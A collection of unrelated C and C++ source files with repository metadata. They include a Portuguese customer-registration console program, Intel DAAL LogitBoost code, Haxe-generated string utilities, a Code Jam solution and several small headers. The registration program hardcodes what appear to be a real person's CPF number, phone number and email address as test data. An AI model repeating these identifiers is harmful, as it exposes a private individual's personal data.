for(i=0;i<tam;i++){ if(clientes[i].codigo == codigo){ printf("\nDados do cliente n° %i\nNome: %s\nSexo: %s\nData de nascimento: %s\nCPF: %s\nTelefone: %i\nE-mail: %s\n",clientes[i].codigo,clientes[i].nome,clientes[i].sexo,clientes[i].dataNascimento,clientes[i].cpf,clientes[i].telefone,clientes[i].email); verificar++; } } } if(verificar==0){ printf("\nEsse cliente não está cadastrado!"); } printf("\n_______________________________\n"); } void consultarNome(char nome[]){ int codigo=0; system("cls"); if(strcmp(nome,"")!=0){ for(i=0;i<tam;i++){ if(strcmp(nome,clientes[i].nome)==0){ codigo = i; printf("\nDados do cliente n° %i\nNome: %s\nSexo: %s\nData de nascimento: %s\nCPF: %s\nTelefone: %i\nE-mail: %s\n",clientes[codigo].codigo,clientes[codigo].nome,clientes[codigo].sexo,clientes[codigo].dataNascimento,clientes[codigo].cpf,clientes[codigo].telefone,clientes[codigo].email); printf("\n_______________________________\n"); } } } if(codigo == 0){ printf("\nEsse cliente não está cadastrado!\n"); } } void listar(){ system("cls"); for(i=0;i<tam;i++){ if(clientes[i].codigo != 0){ printf("\nCliente de código %i: %s\n",clientes[i].codigo,clientes[i].nome); printf("_______________________________\n"); } } } void vrau(){ clientes[1].codigo = 1; strcpy(clientes[1].nome,"juca silva"); strcpy(clientes[1].sexo,"masculino"); strcpy(clientes[1].dataNascimento,"18/01/2000"); strcpy(clientes[1].cpf,"08816690917"); strcpy(clientes[1].telefone,"49999743090"); strcpy(clientes[1].email,"jvscaravonatti@gmail.com"); clientes[2].codigo = 2; strcpy(clientes[2].nome,"juca silva"); strcpy(clientes[2].sexo,"masculino"); strcpy(clientes[2].dataNascimento,"18/01/2000"); strcpy(clientes[2].cpf,"08816690917"); strcpy(clientes[2].telefone,"49999743090"); strcpy(clientes[2].email,"jvscaravonatti@gmail.com"); } void alterar(int codigo){ char opcao[1]; char confirm[1]; confirm[0] = '0'; if(codigo != 0){ do{ printf("\nQual informação deseja alterar?\n"); printf("\n1 - Nome: %s\n2 - Sexo: %s\n3 - Data de nascimento: %s\n4 - CPF: %s\n5 - Telefone: %i\n6 - E-mail: %s\nSua opção: ",clientes[codigo].nome,clientes[codigo].sexo,clientes[codigo].dataNascimento,clientes[codigo].cpf,clientes[codigo].telefone,clientes[codigo].email); fflush(stdin); opcao[0] = getche(); switch(opcao[0]){ case '1': printf("\nColoque o novo nome: "); scanf(" %[^\n]s",&clientes[codigo].nome); break; case '2': printf("\nColoque o novo sexo: "); scanf("%s",clientes[codigo].sexo); break; case '3': printf("\nColoque a nova data de nascimento: "); scanf("%s",&clientes[codigo].dataNascimento); break; case '4': printf("\nColoque o novo CPF: "); scanf("%s",&clientes[codigo].cpf); break; case '5': printf("\nColoque o novo telefone: "); scanf("%s",&clientes[codigo].telefone); break; case '6': printf("\nColoque o novo e-mail: "); scanf("%s",&clientes[codigo].email); break; default: printf("\nOpção inválida!"); } printf("\nContinuar editando? 0 para sim e 1 para não: "); confirm[0] = getche(); }while(confirm[0] !='1'); } } int main(){ //vrau(); setlocale(LC_ALL,"portuguese"); char opcao[1]; char flag[1]; int param=0; char paramChar[50]; char escolha[1]; flag[0] = '0'; printf("\nCadstro de clientes HyperSoft\n_____________________________\n"); Sleep(500); do{ printf("\n\nSelecione uma opção:\n\n"); printf("1 - Cadastro do cliente\n"); printf("2 - Alterar dados do cliente\n"); printf("3 - Exclusão de cliente\n"); printf("4 - Consultar cliente\n"); printf("5 - Listar clientes\n"); printf("6 - Sair\n"); printf("Sua opção: "); fflush(stdin); opcao[0] = getche(); system("cls"); switch(opcao[0]){ system("cls"); case '1': cadastrar(); break; case '2': printf("\nInsira o código do cliente a ser alterado: "); scanf("%i",&param); alterar(param); break; case '3': printf("\nInsira o código do cliente a ser exclúido: "); scanf("%i",&param); excluir(param); break; case '4': printf("\n1 - Consultar por nome\n2 - Consultar por código\n3 - Voltar\nSua opção: "); fflush(stdin); escolha[0] = getche(); switch(escolha[0]){ case '1': printf("\nInsira o nome do cliente a ser consultado: "); scanf(" %[^\n]s",&paramChar); consultarNome(paramChar); break; case '2': printf("\nInsira o código do cliente a ser consultado: "); scanf("%i",&param); consultarCod(param); break; case '3': break; default: printf("\nOpção mal informada"); } break; case '5': listar(); break; case '6': printf("\nPressione 1 para sair: "); flag[0] = getche(); break; default: printf("\nEstá opção não existe\n"); break; } }while(flag[0] != '1'); printf("\n\aFIM"); return 0; }

ce7178eb6e44ec165080f975b26d3222d3e26392

f95975d9454984803586de7f0600f3ecf9918f60

/algorithms/kernel/logitboost/inner/logitboost_predict_batch_v1.cpp

c277522b8482939cffb3d04a3c2d70dd2e4fc924

permissive

jjuribe/daal

f4e05656ca5f01e56debdbd2de51eeb2f506ca3d

242d358db584dd4c9c65826b345fe63313ff8f2a

refs/heads/master

Apache-2.0

UTF-8

C++

cpp

/* file: logitboost_predict_batch_v1.cpp */ /******************************************************************************* * Copyright 2014-2019 Intel Corporation * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *******************************************************************************/ /* //++ // Implementation of the interface for LogitBoost model-based prediction //-- */ #include "algorithms/boosting/logitboost_predict_types.h" using namespace daal::data_management; using namespace daal::services; namespace daal { namespace algorithms { namespace logitboost { namespace prediction { namespace interface1 { /** * Returns the input Numeric Table object in the prediction stage of the classification algorithm * \param[in] id Identifier of the input NumericTable object * \return %Input object that corresponds to the given identifier */ NumericTablePtr Input::get(classifier::prediction::NumericTableInputId id) const { return staticPointerCast<NumericTable, SerializationIface>(Argument::get(id)); } /** * Returns the input Model object in the prediction stage of the LogitBoost algorithm * \param[in] id Identifier of the input Model object * \return %Input object that corresponds to the given identifier */ logitboost::interface1::ModelPtr Input::get(classifier::prediction::ModelInputId id) const { return staticPointerCast<logitboost::interface1::Model, SerializationIface>(Argument::get(id)); } /** * Sets the input NumericTable object in the prediction stage of the classification algorithm * \param[in] id Identifier of the input object * \param[in] ptr Pointer to the input object */ void Input::set(classifier::prediction::NumericTableInputId id, const NumericTablePtr &ptr) { Argument::set(id, ptr); } /** * Sets the input Model object in the prediction stage of the LogitBoost algorithm * \param[in] id Identifier of the input object * \param[in] ptr Pointer to the input object */ void Input::set(classifier::prediction::ModelInputId id, const logitboost::interface1::ModelPtr &ptr) { Argument::set(id, ptr); } /** * Checks the correctness of the input object * \param[in] parameter Pointer to the structure of the algorithm parameters * \param[in] method Computation method */ services::Status Input::check(const daal::algorithms::Parameter *parameter, int method) const { services::Status s = classifier::prediction::interface1::Input::check(parameter, method); if(!s) return s; logitboost::interface1::ModelPtr m = staticPointerCast<logitboost::interface1::Model, classifier::Model>(get(classifier::prediction::model)); DAAL_CHECK(m->getNumberOfWeakLearners() > 0, ErrorModelNotFullInitialized); return s; } } // namespace interface1 } // namespace prediction } // namespace logitboost } // namespace algorithms } // namespace daal

a8d17ef93bf42f1113f7e8f7b8af41d62d7166d6

2b1a79a1fd6ebe6ebeb3b58d6b8144bf8ccd8c0d

/Games/Rong/Export/cpp/windows/obj/src/StringTools.cpp

7cd4329bc5960408e432ca980ec5fefd8315e61a

no_license

spoozbe/Portfolio

18ba48bad5981e21901d2ef2b5595584b2451c19

4818a58eb50cbec949854456af6bbd49d6f37716

refs/heads/master

UTF-8

C++

cpp

#include <hxcpp.h> #ifndef INCLUDED_StringTools #include <StringTools.h> #endif Void StringTools_obj::__construct() { return null(); } StringTools_obj::~StringTools_obj() { } Dynamic StringTools_obj::__CreateEmpty() { return new StringTools_obj; } hx::ObjectPtr< StringTools_obj > StringTools_obj::__new() { hx::ObjectPtr< StringTools_obj > result = new StringTools_obj(); result->__construct(); return result;} Dynamic StringTools_obj::__Create(hx::DynamicArray inArgs) { hx::ObjectPtr< StringTools_obj > result = new StringTools_obj(); result->__construct(); return result;} ::String StringTools_obj::urlEncode( ::String s){ HX_STACK_PUSH("StringTools::urlEncode","C:\\Motion-Twin\\haxe/std/StringTools.hx",41); HX_STACK_ARG(s,"s"); HX_STACK_LINE(41) return s.__URLEncode(); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,urlEncode,return ) ::String StringTools_obj::urlDecode( ::String s){ HX_STACK_PUSH("StringTools::urlDecode","C:\\Motion-Twin\\haxe/std/StringTools.hx",68); HX_STACK_ARG(s,"s"); HX_STACK_LINE(68) return s.__URLDecode(); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,urlDecode,return ) ::String StringTools_obj::htmlEscape( ::String s){ HX_STACK_PUSH("StringTools::htmlEscape","C:\\Motion-Twin\\haxe/std/StringTools.hx",95); HX_STACK_ARG(s,"s"); HX_STACK_LINE(95) return s.split(HX_CSTRING("&"))->join(HX_CSTRING("&amp;")).split(HX_CSTRING("<"))->join(HX_CSTRING("&lt;")).split(HX_CSTRING(">"))->join(HX_CSTRING("&gt;")); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,htmlEscape,return ) ::String StringTools_obj::htmlUnescape( ::String s){ HX_STACK_PUSH("StringTools::htmlUnescape","C:\\Motion-Twin\\haxe/std/StringTools.hx",102); HX_STACK_ARG(s,"s"); HX_STACK_LINE(102) return s.split(HX_CSTRING("&gt;"))->join(HX_CSTRING(">")).split(HX_CSTRING("&lt;"))->join(HX_CSTRING("<")).split(HX_CSTRING("&amp;"))->join(HX_CSTRING("&")); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,htmlUnescape,return ) bool StringTools_obj::startsWith( ::String s,::String start){ HX_STACK_PUSH("StringTools::startsWith","C:\\Motion-Twin\\haxe/std/StringTools.hx",113); HX_STACK_ARG(s,"s"); HX_STACK_ARG(start,"start"); HX_STACK_LINE(113) return (bool((s.length >= start.length)) && bool((s.substr((int)0,start.length) == start))); } STATIC_HX_DEFINE_DYNAMIC_FUNC2(StringTools_obj,startsWith,return ) bool StringTools_obj::endsWith( ::String s,::String end){ HX_STACK_PUSH("StringTools::endsWith","C:\\Motion-Twin\\haxe/std/StringTools.hx",126); HX_STACK_ARG(s,"s"); HX_STACK_ARG(end,"end"); HX_STACK_LINE(132) int elen = end.length; HX_STACK_VAR(elen,"elen"); HX_STACK_LINE(133) int slen = s.length; HX_STACK_VAR(slen,"slen"); HX_STACK_LINE(134) return (bool((slen >= elen)) && bool((s.substr((slen - elen),elen) == end))); } STATIC_HX_DEFINE_DYNAMIC_FUNC2(StringTools_obj,endsWith,return ) bool StringTools_obj::isSpace( ::String s,int pos){ HX_STACK_PUSH("StringTools::isSpace","C:\\Motion-Twin\\haxe/std/StringTools.hx",141); HX_STACK_ARG(s,"s"); HX_STACK_ARG(pos,"pos"); HX_STACK_LINE(142) Dynamic c = s.charCodeAt(pos); HX_STACK_VAR(c,"c"); HX_STACK_LINE(143) return (bool((bool((c >= (int)9)) && bool((c <= (int)13)))) || bool((c == (int)32))); } STATIC_HX_DEFINE_DYNAMIC_FUNC2(StringTools_obj,isSpace,return ) ::String StringTools_obj::ltrim( ::String s){ HX_STACK_PUSH("StringTools::ltrim","C:\\Motion-Twin\\haxe/std/StringTools.hx",149); HX_STACK_ARG(s,"s"); HX_STACK_LINE(155) int l = s.length; HX_STACK_VAR(l,"l"); HX_STACK_LINE(156) int r = (int)0; HX_STACK_VAR(r,"r"); HX_STACK_LINE(157) while(((bool((r < l)) && bool(::StringTools_obj::isSpace(s,r))))){ HX_STACK_LINE(157) (r)++; } HX_STACK_LINE(160) if (((r > (int)0))){ HX_STACK_LINE(161) return s.substr(r,(l - r)); } else{ HX_STACK_LINE(163) return s; } HX_STACK_LINE(160) return null(); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,ltrim,return ) ::String StringTools_obj::rtrim( ::String s){ HX_STACK_PUSH("StringTools::rtrim","C:\\Motion-Twin\\haxe/std/StringTools.hx",170); HX_STACK_ARG(s,"s"); HX_STACK_LINE(176) int l = s.length; HX_STACK_VAR(l,"l"); HX_STACK_LINE(177) int r = (int)0; HX_STACK_VAR(r,"r"); HX_STACK_LINE(178) while(((bool((r < l)) && bool(::StringTools_obj::isSpace(s,((l - r) - (int)1)))))){ HX_STACK_LINE(178) (r)++; } HX_STACK_LINE(181) if (((r > (int)0))){ HX_STACK_LINE(181) return s.substr((int)0,(l - r)); } else{ HX_STACK_LINE(183) return s; } HX_STACK_LINE(181) return null(); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,rtrim,return ) ::String StringTools_obj::trim( ::String s){ HX_STACK_PUSH("StringTools::trim","C:\\Motion-Twin\\haxe/std/StringTools.hx",192); HX_STACK_ARG(s,"s"); HX_STACK_LINE(192) return ::StringTools_obj::ltrim(::StringTools_obj::rtrim(s)); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,trim,return ) ::String StringTools_obj::rpad( ::String s,::String c,int l){ HX_STACK_PUSH("StringTools::rpad","C:\\Motion-Twin\\haxe/std/StringTools.hx",207); HX_STACK_ARG(s,"s"); HX_STACK_ARG(c,"c"); HX_STACK_ARG(l,"l"); HX_STACK_LINE(211) int sl = s.length; HX_STACK_VAR(sl,"sl"); HX_STACK_LINE(212) int cl = c.length; HX_STACK_VAR(cl,"cl"); HX_STACK_LINE(213) while(((sl < l))){ HX_STACK_LINE(213) if ((((l - sl) < cl))){ HX_STACK_LINE(215) hx::AddEq(s,c.substr((int)0,(l - sl))); HX_STACK_LINE(216) sl = l; } else{ HX_STACK_LINE(218) hx::AddEq(s,c); HX_STACK_LINE(219) hx::AddEq(sl,cl); } } HX_STACK_LINE(222) return s; } STATIC_HX_DEFINE_DYNAMIC_FUNC3(StringTools_obj,rpad,return ) ::String StringTools_obj::lpad( ::String s,::String c,int l){ HX_STACK_PUSH("StringTools::lpad","C:\\Motion-Twin\\haxe/std/StringTools.hx",229); HX_STACK_ARG(s,"s"); HX_STACK_ARG(c,"c"); HX_STACK_ARG(l,"l"); HX_STACK_LINE(233) ::String ns = HX_CSTRING(""); HX_STACK_VAR(ns,"ns"); HX_STACK_LINE(234) int sl = s.length; HX_STACK_VAR(sl,"sl"); HX_STACK_LINE(235) if (((sl >= l))){ HX_STACK_LINE(235) return s; } HX_STACK_LINE(237) int cl = c.length; HX_STACK_VAR(cl,"cl"); HX_STACK_LINE(238) while(((sl < l))){ HX_STACK_LINE(238) if ((((l - sl) < cl))){ HX_STACK_LINE(240) hx::AddEq(ns,c.substr((int)0,(l - sl))); HX_STACK_LINE(241) sl = l; } else{ HX_STACK_LINE(243) hx::AddEq(ns,c); HX_STACK_LINE(244) hx::AddEq(sl,cl); } } HX_STACK_LINE(247) return (ns + s); } STATIC_HX_DEFINE_DYNAMIC_FUNC3(StringTools_obj,lpad,return ) ::String StringTools_obj::replace( ::String s,::String sub,::String by){ HX_STACK_PUSH("StringTools::replace","C:\\Motion-Twin\\haxe/std/StringTools.hx",254); HX_STACK_ARG(s,"s"); HX_STACK_ARG(sub,"sub"); HX_STACK_ARG(by,"by"); HX_STACK_LINE(254) return s.split(sub)->join(by); } STATIC_HX_DEFINE_DYNAMIC_FUNC3(StringTools_obj,replace,return ) ::String StringTools_obj::hex( int n,Dynamic digits){ HX_STACK_PUSH("StringTools::hex","C:\\Motion-Twin\\haxe/std/StringTools.hx",269); HX_STACK_ARG(n,"n"); HX_STACK_ARG(digits,"digits"); HX_STACK_LINE(275) ::String s = HX_CSTRING(""); HX_STACK_VAR(s,"s"); HX_STACK_LINE(276) ::String hexChars = HX_CSTRING("0123456789ABCDEF"); HX_STACK_VAR(hexChars,"hexChars"); HX_STACK_LINE(277) do{ HX_STACK_LINE(278) s = (hexChars.charAt((int(n) & int((int)15))) + s); HX_STACK_LINE(279) hx::UShrEq(n,(int)4); } while(((n > (int)0))); HX_STACK_LINE(282) if (((digits != null()))){ HX_STACK_LINE(283) while(((s.length < digits))){ HX_STACK_LINE(284) s = (HX_CSTRING("0") + s); } } HX_STACK_LINE(285) return s; } STATIC_HX_DEFINE_DYNAMIC_FUNC2(StringTools_obj,hex,return ) int StringTools_obj::fastCodeAt( ::String s,int index){ HX_STACK_PUSH("StringTools::fastCodeAt","C:\\Motion-Twin\\haxe/std/StringTools.hx",292); HX_STACK_ARG(s,"s"); HX_STACK_ARG(index,"index"); HX_STACK_LINE(292) return s.cca(index); } STATIC_HX_DEFINE_DYNAMIC_FUNC2(StringTools_obj,fastCodeAt,return ) bool StringTools_obj::isEOF( int c){ HX_STACK_PUSH("StringTools::isEOF","C:\\Motion-Twin\\haxe/std/StringTools.hx",322); HX_STACK_ARG(c,"c"); HX_STACK_LINE(322) return (c == (int)0); } STATIC_HX_DEFINE_DYNAMIC_FUNC1(StringTools_obj,isEOF,return ) StringTools_obj::StringTools_obj() { } void StringTools_obj::__Mark(HX_MARK_PARAMS) { HX_MARK_BEGIN_CLASS(StringTools); HX_MARK_END_CLASS(); } void StringTools_obj::__Visit(HX_VISIT_PARAMS) { } Dynamic StringTools_obj::__Field(const ::String &inName,bool inCallProp) { switch(inName.length) { case 3: if (HX_FIELD_EQ(inName,"hex") ) { return hex_dyn(); } break; case 4: if (HX_FIELD_EQ(inName,"trim") ) { return trim_dyn(); } if (HX_FIELD_EQ(inName,"rpad") ) { return rpad_dyn(); } if (HX_FIELD_EQ(inName,"lpad") ) { return lpad_dyn(); } break; case 5: if (HX_FIELD_EQ(inName,"ltrim") ) { return ltrim_dyn(); } if (HX_FIELD_EQ(inName,"rtrim") ) { return rtrim_dyn(); } if (HX_FIELD_EQ(inName,"isEOF") ) { return isEOF_dyn(); } break; case 7: if (HX_FIELD_EQ(inName,"isSpace") ) { return isSpace_dyn(); } if (HX_FIELD_EQ(inName,"replace") ) { return replace_dyn(); } break; case 8: if (HX_FIELD_EQ(inName,"endsWith") ) { return endsWith_dyn(); } break; case 9: if (HX_FIELD_EQ(inName,"urlEncode") ) { return urlEncode_dyn(); } if (HX_FIELD_EQ(inName,"urlDecode") ) { return urlDecode_dyn(); } break; case 10: if (HX_FIELD_EQ(inName,"htmlEscape") ) { return htmlEscape_dyn(); } if (HX_FIELD_EQ(inName,"startsWith") ) { return startsWith_dyn(); } if (HX_FIELD_EQ(inName,"fastCodeAt") ) { return fastCodeAt_dyn(); } break; case 12: if (HX_FIELD_EQ(inName,"htmlUnescape") ) { return htmlUnescape_dyn(); } } return super::__Field(inName,inCallProp); } Dynamic StringTools_obj::__SetField(const ::String &inName,const Dynamic &inValue,bool inCallProp) { return super::__SetField(inName,inValue,inCallProp); } void StringTools_obj::__GetFields(Array< ::String> &outFields) { super::__GetFields(outFields); }; static ::String sStaticFields[] = { HX_CSTRING("urlEncode"), HX_CSTRING("urlDecode"), HX_CSTRING("htmlEscape"), HX_CSTRING("htmlUnescape"), HX_CSTRING("startsWith"), HX_CSTRING("endsWith"), HX_CSTRING("isSpace"), HX_CSTRING("ltrim"), HX_CSTRING("rtrim"), HX_CSTRING("trim"), HX_CSTRING("rpad"), HX_CSTRING("lpad"), HX_CSTRING("replace"), HX_CSTRING("hex"), HX_CSTRING("fastCodeAt"), HX_CSTRING("isEOF"), String(null()) }; static ::String sMemberFields[] = { String(null()) }; static void sMarkStatics(HX_MARK_PARAMS) { HX_MARK_MEMBER_NAME(StringTools_obj::__mClass,"__mClass"); }; static void sVisitStatics(HX_VISIT_PARAMS) { HX_VISIT_MEMBER_NAME(StringTools_obj::__mClass,"__mClass"); }; Class StringTools_obj::__mClass; void StringTools_obj::__register() { Static(__mClass) = hx::RegisterClass(HX_CSTRING("StringTools"), hx::TCanCast< StringTools_obj> ,sStaticFields,sMemberFields, &__CreateEmpty, &__Create, &super::__SGetClass(), 0, sMarkStatics, sVisitStatics); } void StringTools_obj::__boot() { }

6a5800c8150e8c9144d23429c10f35136b06e222

578ceec075394968a5ac0ef3ed5961697d8cd826

/daemon/DekdCommand.h

7a1648ba3f971ea0a278f233a006d43f4fa34003

no_license

olicmoon/dekd

3938a6f76cdb8b0a9ef915b273f94ac8fa9276d9

c5a88ec8330a67ce952351970bf5657813977eae

refs/heads/master

UTF-8

C++

h

/* * DekdCommand.h * * Created on: Aug 17, 2015 * Author: olic */ #ifndef DEKDCOMMAND_H_ #define DEKDCOMMAND_H_ #include <FrameworkCommand.h> class DekdCommand : public FrameworkCommand { public: DekdCommand(const char *cmd); virtual ~DekdCommand() {} int runCommand(SocketClient *c, int argc, char **argv); }; #endif /* DEKDCOMMAND_H_ */

2b17e47589ce2b7bb6579f599aad8e4a664896b5

b8487f927d9fb3fa5529ad3686535714c687dd50

/include/hermes/VM/JIT/DenseUInt64.h

7cb45f61cba99d132ac4e42fc17f6b4a3b55cbc0

permissive

hoangtuanhedspi/hermes

4a1399f05924f0592c36a9d4b3fd1f804f383c14

02dbf3c796da4d09ec096ae1d5808dcb1b6062bf

refs/heads/master

MIT

UTF-8

C++

h

/* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the LICENSE * file in the root directory of this source tree. */ #ifndef HERMES_VM_JIT_DENSEUINT64_H #define HERMES_VM_JIT_DENSEUINT64_H #include "hermes/VM/HermesValue.h" #include "llvm/ADT/DenseMapInfo.h" namespace hermes { namespace vm { /// A wrapper for using uint64_t with llvm::DenseMap/Set. class DenseUInt64 { public: /// Enum to differentiate between LLVM's empty/tombstone and normal values. enum class MapKeyType { empty, tombstone, valid, }; DenseUInt64(uint64_t cval) : keyType_(MapKeyType::valid), rawValue_(cval) {} DenseUInt64(void *addr) : keyType_(MapKeyType::valid), rawValue_((uint64_t)addr) {} DenseUInt64(HermesValue hv) : keyType_(MapKeyType::valid), rawValue_(hv.getRaw()) {} DenseUInt64(double v) : DenseUInt64(HermesValue::encodeDoubleValue(v)) {} DenseUInt64(MapKeyType keyType) : keyType_(keyType), rawValue_(0) { assert(keyType_ != MapKeyType::valid && "valid entries must have a value"); } bool operator==(const DenseUInt64 &other) const { return keyType_ == other.keyType_ && rawValue_ == other.rawValue_; } HermesValue valueAsHV() const { assert( keyType_ == MapKeyType::valid && "attempting to get the value of tombstone/empty entry"); return HermesValue(rawValue_); } void *valueAsAddr() const { assert( keyType_ == MapKeyType::valid && "attempting to get the value of tombstone/empty entry"); return (void *)rawValue_; } uint64_t rawValue() const { return rawValue_; } private: /// The type of value we have: empty/tombstone/normal. MapKeyType keyType_; /// A raw uint64_t: it could be a HermesValue or an address uint64_t rawValue_; }; } // namespace vm } // namespace hermes namespace llvm { /// Traits to enable using UInt64Constant with llvm::DenseSet/Map. template <> struct DenseMapInfo<hermes::vm::DenseUInt64> { using UInt64Constant = hermes::vm::DenseUInt64; using MapKeyType = UInt64Constant::MapKeyType; static inline UInt64Constant getEmptyKey() { return MapKeyType::empty; } static inline UInt64Constant getTombstoneKey() { return MapKeyType::tombstone; } static inline unsigned getHashValue(UInt64Constant x) { return DenseMapInfo<uint64_t>::getHashValue(x.rawValue()); } static inline bool isEqual(UInt64Constant a, UInt64Constant b) { return a == b; } }; } // namespace llvm #endif // HERMES_VM_JIT_DENSEUINT64_H

849e17e440d0e9523fb0dd1a5f7f9d2bf5e1f416

6b2a8dd202fdce77c971c412717e305e1caaac51

/solutions_5686313294495744_0/C++/vidhan13j07/test.cpp

5edfd10037fb916f2f5fbdef7cf9305b0b29d5b9

no_license

alexandraback/datacollection

0bc67a9ace00abbc843f4912562f3a064992e0e9

076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf

refs/heads/master

UTF-8

C++

cpp

#include<bits/stdc++.h> #define sc(v) v.size() #define eb push_back #define pb pop_back #define f(i,a,b) for(int i=a;i<b;i++) #define TC() int t;cin>>t;while(t--) #define all(x) x.begin(),x.end() #define mk make_pair #define fi first #define se second #define endl "\n" #define eps 1e-9 #define pw(x) (1ll<<(x)) #define trace1(x) cout <<#x<<": "<<x<<endl; #define trace2(x, y) cout <<#x<<": "<<x<<" | "<<#y<<": "<<y<< endl; #define trace3(x, y, z) cout <<#x<<": "<<x<<" | "<<#y<<": "<<y<<" | "<<#z<<": "<<z<<endl; #define trace4(a, b, c, d) cout <<#a<<": "<<a<<" | "<<#b<<": "<<b<<" | "<<#c<<": "<<c<<" | "<<#d<<": "<<d<<endl; #define trace5(a, b, c, d, e) cout <<#a<<": "<<a<<" | "<<#b<<": "<<b<<" | "<<#c<<": "<<c<<" | "<<#d<<": "<<d<<" | "<<#e<<": "<<e<<endl; using namespace std; typedef long long int ll; typedef vector<int> vi; typedef vector<ll> vll; typedef pair<string,string> pi; typedef pair<ll,ll> pll; inline bool EQ(double a,double b) { return fabs(a - b) < 1e-9; } inline void set_bit(int & n, int b) { n |= pw(b); } inline void unset_bit(int & n, int b) { n &= ~pw(b); } int main() { #ifndef ONLINE_JUDGE //freopen("input.txt","r",stdin); //freopen("output.txt","w",stdout); #endif clock_t tStart = clock(); int tc = 1; int n; map< pi,int > mp; vector< pi > v; set< pi > vv; vector<string> f,rr; string x,y; set<string> a,b; TC() { printf("Case #%d: ", tc++); mp.clear(); v.clear(); a.clear(); b.clear(); scanf("%d",&n); f(i,0,n) { cin>>x>>y; v.eb(mk(x,y)); mp[mk(x,y)] = 1; } int ans = 0; f(i,0,1 << n) { f.clear(); rr.clear(); vv.clear(); int c = 0; f(j,0,n) if(i&(1 << j)) { f.eb(v[j].fi); rr.eb(v[j].se); vv.insert(v[j]); } f(j,0,sc(f)) f(k,0,sc(rr)) { if(vv.find(mk(f[j],rr[k])) != vv.end()) continue; if(mp[mk(f[j],rr[k])]) c++; } ans = max(ans,c); } printf("%d\n",ans); } //printf("Time taken: %.2fs\n", (double)(clock() - tStart)/CLOCKS_PER_SEC); return 0; }

83c1a88dc48365856197594c6712168628615a60

52a932a54983d3c1a40d30d0cd546085deb1fd86

/source/Mobs/Zombie.h

61f8e3bb84ee3895ca4f367a944df4e218e15e7a

permissive

Xury/MCServer

ce8068fd4cf9401b5348769dcc6ed7b670dcae08

c019e8f0c568163967de4b6c370964cfc0b1adb3

refs/heads/master

UTF-8

C++

h

#pragma once #include "AggressiveMonster.h" class cZombie : public cAggressiveMonster { typedef cAggressiveMonster super; public: cZombie(); CLASS_PROTODEF(cZombie); virtual void Tick(float a_Dt, cChunk & a_Chunk) override; virtual void GetDrops(cItems & a_Drops, cEntity * a_Killer = NULL) override; } ;

e80178df0d6d8e25163f4e3d848c8940e1e40d2f

8ea2c608d0ea52bdf26e045ada1367b93f76c046

/OpenGL/objeto.h

6ebbac6737b5475febb0a458045ceb0aa82a7255

no_license

Alexandrecajamos/geometria_comp

0aedf467e337ffc2627e68564c9ade03354f3881

d0264e2ec8bfb0da50c1ee8ec14042779d860612

refs/heads/master

UTF-8

C++

h

#ifndef OBJETO_H #define OBJETO_H #include<vector> #include "stdio.h" #include "coord_3d.h" #include "esfera.h" #include <fstream> #include "face.h" #include<cmath> #define TAM 4 class Objeto { public: Objeto(); void addPoint(float x, float y, float z); void addFace(int iP1, int iP2, int iP3); float Ray_intersept(Coord_3D Po, Coord_3D Dir, int *iFace); bool Tiro(Coord_3D Ponto); void calc_Esfera(); void ImpPoints(); void ImpFaces(); bool Obstaculo(Coord_3D Pint, Coord_3D l); void Libera(); void Ordena(int eixo); void CopiaPontos(Objeto* O); Coord_3D Centro(); float Area_Externa(); float Volume(); int MaiorX();//Retorna Indice int MenorX();//Retorna Indice int MaiorY();//Retorna Indice int MenorY();//Retorna Indice int MaiorZ();//Retorna Indice int MenorZ();//Retorna Indice bool Pertence(int iP1, int iP2, int iP3); Esfera Esf; std::vector<Coord_3D*> points; std::vector<Face*> faces; }; #endif // OBJETO_H

fa606684822edaeb65a3facbab4e69b8044c96ef

6aeccfb60568a360d2d143e0271f0def40747d73

/sandbox/SOC/2011/simd/boost/simd/toolbox/constant/include/constants/minexponent.hpp

0fd6c857f2cef5aa7fcc1f22aca4daf4a5f7a9c3

no_license

ttyang/sandbox

1066b324a13813cb1113beca75cdaf518e952276

e1d6fde18ced644bb63e231829b2fe0664e51fac

refs/heads/trunk

C++

UTF-8

C++

hpp

#ifndef BOOST_SIMD_TOOLBOX_CONSTANT_INCLUDE_CONSTANTS_MINEXPONENT_HPP_INCLUDED #define BOOST_SIMD_TOOLBOX_CONSTANT_INCLUDE_CONSTANTS_MINEXPONENT_HPP_INCLUDED #include <boost/simd/toolbox/constant/constants/minexponent.hpp> #endif

b54f8af3b8d91ec3312f1936cc121941612c52f9

33c05858242f026297d97a902656ee8f066683a8

/satellite_sniffer_BoTFSM/src/Canvas.cpp

ad8ababfa55c65250d872cc2f5187e0f6e6b207d

no_license

CodecoolBP20171/cpp-satellite-sniffer-botfsm

d8bcb902da2c4f3e2d7b827da0558343022687c3

b29818ae7dc1d2f7f3967c278a3d01c447786df8

refs/heads/master

C

UTF-8

C++

cpp

#include "stdafx.h" #include "Canvas.h" #include "Resources.h" #include <SDL.h> Canvas::Canvas(const int width, const int height) { this->height = height; this->width = width; texture = SDL_CreateTexture(Resources::getInstance()->getRenderer(), SDL_PIXELFORMAT_RGBA8888, SDL_TEXTUREACCESS_TARGET, width, height); SDL_SetTextureBlendMode(texture, SDL_BLENDMODE_BLEND); } void Canvas::resize(const int width, const int height) { if (texture) SDL_DestroyTexture(texture); this->height = height; this->width = width; texture = SDL_CreateTexture(Resources::getInstance()->getRenderer(), SDL_PIXELFORMAT_RGBA8888, SDL_TEXTUREACCESS_TARGET, width, height); SDL_SetTextureBlendMode(texture, SDL_BLENDMODE_BLEND); } void Canvas::setAsRenderTarget() { SDL_SetRenderTarget(Resources::getInstance()->getRenderer(), texture); } Canvas::~Canvas() { }

